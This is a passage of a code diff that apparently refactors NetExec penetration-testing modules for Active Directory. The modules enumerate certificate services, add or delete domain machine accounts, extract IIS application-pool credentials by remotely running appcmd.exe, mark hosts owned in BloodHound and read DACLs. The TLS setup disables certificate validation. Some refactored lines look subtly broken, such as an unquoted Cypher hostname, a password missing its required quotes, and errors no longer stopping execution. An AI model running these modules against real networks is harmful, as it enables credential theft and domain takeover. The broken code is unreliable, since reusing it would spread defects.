base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
resp = connection.ldapConnection.search(
connection.ldapConnection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@ -65,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
resp = connection.ldapConnection.search(
connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@ -74,12 +70,10 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
"""
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@ -103,19 +97,17 @@ class NXCModule:
urls.append(match.group(1))
except Exception as e:
entry = host_name or "item"
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
if host_name:
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
if cn:
self.context.log.highlight("Found CN: {}".format(cn))
self.context.log.highlight(f"Found CN: {cn}")
for url in urls:
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
def process_templates(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
"""
"""Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@ -134,4 +126,4 @@ class NXCModule:
if templates:
for t in templates:
self.context.log.highlight("Found Certificate Template: {}".format(t))
self.context.log.highlight(f"Found Certificate Template: {t}")

View File

@ -1,26 +1,25 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ssl
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
class NXCModule:
'''
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
'''
"""
name = 'add-computer'
description = 'Adds or deletes a domain computer'
supported_protocols = ['smb']
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
@ -29,8 +28,7 @@ class NXCModule:
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
'''
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
@ -38,31 +36,29 @@ class NXCModule:
self.__delete = False
self.noLDAPRequired = False
if 'DELETE' in module_options:
if "DELETE" in module_options:
self.__delete = True
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
context.log.error('NAME and PASSWORD options are required!')
elif 'CHANGEPW' in module_options:
self.__noAdd = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
elif "CHANGEPW" in module_options:
self.__noAdd = True
if 'NAME' in module_options:
self.__computerName = module_options['NAME']
if self.__computerName[-1] != '$':
self.__computerName += '$'
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
context.log.error('NAME option is required!')
exit(1)
context.log.error("NAME option is required!")
sys.exit(1)
if 'PASSWORD' in module_options:
self.__computerPassword = module_options['PASSWORD']
elif 'PASSWORD' not in module_options and not self.__delete:
context.log.error('PASSWORD option is required!')
exit(1)
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
#Set some variables
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
@ -86,222 +82,224 @@ class NXCModule:
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.doSAMRAdd(context)
self.do_samr_add(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.doLDAPSAdd(connection,context)
self.do_ldaps_add(connection, context)
else:
exit(1)
sys.exit(1)
def doSAMRAdd(self,context):
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
Args:
----
context (object): The context object.
Returns:
-------
None
"""
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
else:
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if self.__targetIp is not None:
rpctransport.setRemoteHost(self.__targetIp)
rpctransport.setRemoteName(self.__target)
if hasattr(rpctransport, 'set_credentials'):
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
servHandle = samrConnectResponse['ServerHandle']
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse['Buffer']['Buffer']
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
if len(domainsWithoutBuiltin) > 1:
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight(u'{}'.format(
'This domain does not exist: "' + self.__domainNetbios + '"'))
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain['Name'])
raise Exception()
else:
selectedDomain = domain[0]['Name']
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selectedDomain = domainsWithoutBuiltin[0]['Name']
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
domainSID = samrLookupDomainResponse['DomainId']
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
domainHandle = samrOpenDomainResponse['DomainHandle']
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
context.log.highlight(u'{}'.format(
self.__computerName + ' not found in domain ' + selectedDomain))
self.noLDAPRequired = True
raise Exception()
else:
raise
userRID = checkForUser['RelativeIds']['Element'][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
userHandle = openUser['UserHandle']
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
self.noLDAPRequired = True
raise Exception()
else:
raise
else:
if self.__computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight(u'{}'.format(
'Computer account already exists with the name: "' + self.__computerName + '"'))
raise Exception()
except samr.DCERPCSessionError as e:
if e.error_code != 0xc0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.__computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
raise Exception()
elif e.error_code == 0xc00002e7:
context.log.highlight(u'{}'.format(
'The following user exceeded their machine account quota: "' + self.__username + '"'))
raise Exception()
else:
raise
userHandle = createUser['UserHandle']
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
samr.hSamrDeleteUser(dce, userHandle)
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired=True
userHandle = None
access = samr.DELETE
message = "delete"
else:
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
if self.__noAdd:
context.log.highlight(u'{}'.format(
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired=True
else:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
userRID = checkForUser['RelativeIds']['Element'][0]
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
userHandle = openUser['UserHandle']
req = samr.SAMPR_USER_INFO_BUFFER()
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
if not self.noLDAPRequired:
context.log.highlight(u'{}'.format(
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def doLDAPSAdd(self, connection, context):
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
'HOST/%s' % self.__computerName,
'HOST/%s.%s' % (self.__computerName, connection.domain),
'RestrictedKrbHost/%s' % self.__computerName,
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
if (self.__delete):
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
elif result == False and c.last_error == "noSuchObject":
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
elif result == False and c.last_error == "insufficientAccessRights":
context.log.highlight(
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
context.log.highlight(u'{}'.format(
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
)
if result:
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
context.log.highlight(u'{}'.format(
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
elif result == False and c.last_error == "entryAlreadyExists":
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(u'{}'.format(
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
c.unbind()
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()

View File

@ -1,16 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
Module by Brandon Fisher @shad0wcntr0ller
"""
name = 'iis'
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -24,29 +21,26 @@ class NXCModule:
self.check_appcmd(context, connection)
def check_appcmd(self, context, connection):
if not hasattr(connection, 'has_run'):
if not hasattr(connection, "has_run"):
connection.has_run = False
if connection.has_run:
return
connection.has_run = True
try:
connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
self.execute_appcmd(context, connection)
except:
context.log.fail("appcmd.exe not found, this module is not applicable.")
except Exception as e:
context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
return
def execute_appcmd(self, context, connection):
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
lines = output.splitlines()
username = None
password = None
@ -55,20 +49,19 @@ class NXCModule:
credentials_set = set()
for line in lines:
if 'APPPOOL.NAME:' in line:
apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
if "APPPOOL.NAME:" in line:
apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
if "userName:" in line:
username = line.split("userName:")[1].strip().strip('"')
if "password:" in line:
password = line.split("password:")[1].strip().strip('"')
if apppool_name and username is not None and password is not None:
if apppool_name and username is not None and password is not None:
current_credentials = (apppool_name, username, password)
if current_credentials not in credentials_set:
credentials_set.add(current_credentials)
if username:
context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
if password == "":
@ -76,7 +69,6 @@ class NXCModule:
else:
context.log.highlight(f"Username: {username}, Password: {password}")
username = None
password = None
apppool_name = None

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
@ -33,7 +31,6 @@ class NXCModule:
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
@ -49,10 +46,7 @@ class NXCModule:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
if context.local_auth:
domain = connection.conn.getServerDNSDomainName()
else:
domain = connection.domain
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
@ -62,7 +56,7 @@ class NXCModule:
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
@ -73,15 +67,21 @@ class NXCModule:
sys.exit()
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()

View File

@ -10,6 +10,7 @@ from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@ -188,15 +189,15 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
class NXCModule:
"""
Module to read and backup the Discretionary Access Control List of one or multiple objects.
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be careful, this module cannot read the DACLS recursively, more explains in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@ -207,9 +208,11 @@ class NXCModule:
def options(self, context, module_options):
"""
Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
PRINCIPAL The trustee that we want to filter on
ACTION The action to realise on the DACL (read, backup)
ACE_TYPE The type of ACE to read (Allowed or Denied)
@ -218,18 +221,22 @@ class NXCModule:
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
exit(1)
sys.exit(1)
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"], "r")
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception as e:
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
@ -264,11 +271,8 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
"""
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
@ -279,20 +283,16 @@ class NXCModule:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][
1
][0][
1
][0]
)[0][1][0][1][0]
)
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
except Exception as e:
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1)
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
# Searching for the targets SID and their Security Decriptors
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
@ -302,10 +302,10 @@ class NXCModule:
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
if self.action == "read":
self.read(context)
@ -324,9 +324,9 @@ class NXCModule:
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
@ -339,7 +339,6 @@ class NXCModule:
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
return
